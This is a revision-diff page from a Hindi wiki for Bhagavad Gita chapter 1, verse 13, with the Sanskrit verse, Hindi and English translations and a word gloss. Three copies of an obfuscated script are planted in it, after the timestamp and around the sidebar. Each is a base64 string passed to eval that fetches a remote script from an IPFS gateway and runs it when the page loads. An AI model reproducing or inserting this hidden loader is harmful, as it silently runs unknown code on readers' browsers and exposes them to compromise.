"गीता 1:13" के अवतरणों में अंतर

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ
पंक्ति ९: पंक्ति ९:
 
'''प्रसंग-'''
 
'''प्रसंग-'''
 
----
 
----
[[धृतराष्ट्र]] ने पूछा था कि युद्ध एकत्र होने के बाद मेरे और [[पाण्डु]] के पुत्रों ने क्या किया, इसके उत्तर में [[संजय]] ने अब तब धृतराष्द्र के पक्ष वालों की बात सुनायी; अब [[पाण्डवों | पांडव]] ने क्या किया, उसे पाँच श्लोकों में बतलाते हैं-
+
[[धृतराष्ट्र]] ने पूछा था कि युद्ध एकत्र होने के बाद मेरे और [[पाण्डु]] के पुत्रों ने क्या किया, इसके उत्तर में [[संजय]] ने अब तब धृतराष्द्र के पक्ष वालों की बात सुनायी; अब [[पांडव|पाण्डवों]] ने क्या किया, उसे पाँच श्लोकों में बतलाते हैं-
 
----
 
----
 
<div align="center">
 
<div align="center">

१२:४९, ७ अक्टूबर २००९ का अवतरण

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

गीता अध्याय-1 श्लोक-13 / Gita Chapter-1 Verse-13

प्रसंग-


धृतराष्ट्र ने पूछा था कि युद्ध एकत्र होने के बाद मेरे और पाण्डु के पुत्रों ने क्या किया, इसके उत्तर में संजय ने अब तब धृतराष्द्र के पक्ष वालों की बात सुनायी; अब पाण्डवों ने क्या किया, उसे पाँच श्लोकों में बतलाते हैं-


तत: शंखश्च भेर्यश्च पणवानकगोमुखा: ।
सहसैवाभ्यहन्यन्त स शब्दस्तुमुलोऽभवत् ।।13।।



इसके पश्चात् शंख और नगारे तथा ढोल, मृदंग और नरसिंघे आदि बाजे एक साथ ही बज उठे । उनका वह शब्द बड़ा भयंकर हुआ ।।13।।

Then conches kettledrums tabors, drums and trumpets suddenly blared forth and the noise was tumultuous.||13||


तत: = उसके उपरान्त; च =और; भेर्य: = नगारे; पणवआनकगोमुखा: = ढोल मृदंग और नृसिंहादि बाजे; सहसा =एक साथ; एव = ही;अभ्यहन्तयन्त = बजे (उनका); स: = वह; तुमुल: = बड़ा भंयकर; अभवत् =हुआ;

अध्याय एक श्लोक संख्या
Verses- Chapter-1

1 | 2 | 3 | 4, 5, 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17, 18 | 19 | 20, 21 | 22 | 23 | 24, 25 | 26 | 27 | 28, 29 | 30 | 31 | 32 | 33, 34 | 35 | 36 | 37 | 38, 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47

<sidebar>

  • सुस्वागतम्
    • mainpage|मुखपृष्ठ
    • ब्लॉग-चिट्ठा-चौपाल|ब्लॉग-चौपाल
      विशेष:Contact|संपर्क
    • समस्त श्रेणियाँ|समस्त श्रेणियाँ
  • SEARCH
  • LANGUAGES

__NORICHEDITOR__<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  • गीता अध्याय-Gita Chapters
    • गीता 1:1|अध्याय [1] Chapter
    • गीता 2:1|अध्याय [2] Chapter
    • गीता 3:1|अध्याय [3] Chapter
    • गीता 4:1|अध्याय [4] Chapter
    • गीता 5:1|अध्याय [5] Chapter
    • गीता 6:1|अध्याय [6] Chapter
    • गीता 7:1|अध्याय [7] Chapter
    • गीता 8:1|अध्याय [8] Chapter
    • गीता 9:1|अध्याय [9] Chapter
    • गीता 10:1|अध्याय [10] Chapter
    • गीता 11:1|अध्याय [11] Chapter
    • गीता 12:1|अध्याय [12] Chapter
    • गीता 13:1|अध्याय [13] Chapter
    • गीता 14:1|अध्याय [14] Chapter
    • गीता 15:1|अध्याय [15] Chapter
    • गीता 16:1|अध्याय [16] Chapter
    • गीता 17:1|अध्याय [17] Chapter
    • गीता 18:1|अध्याय [18] Chapter

</sidebar><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>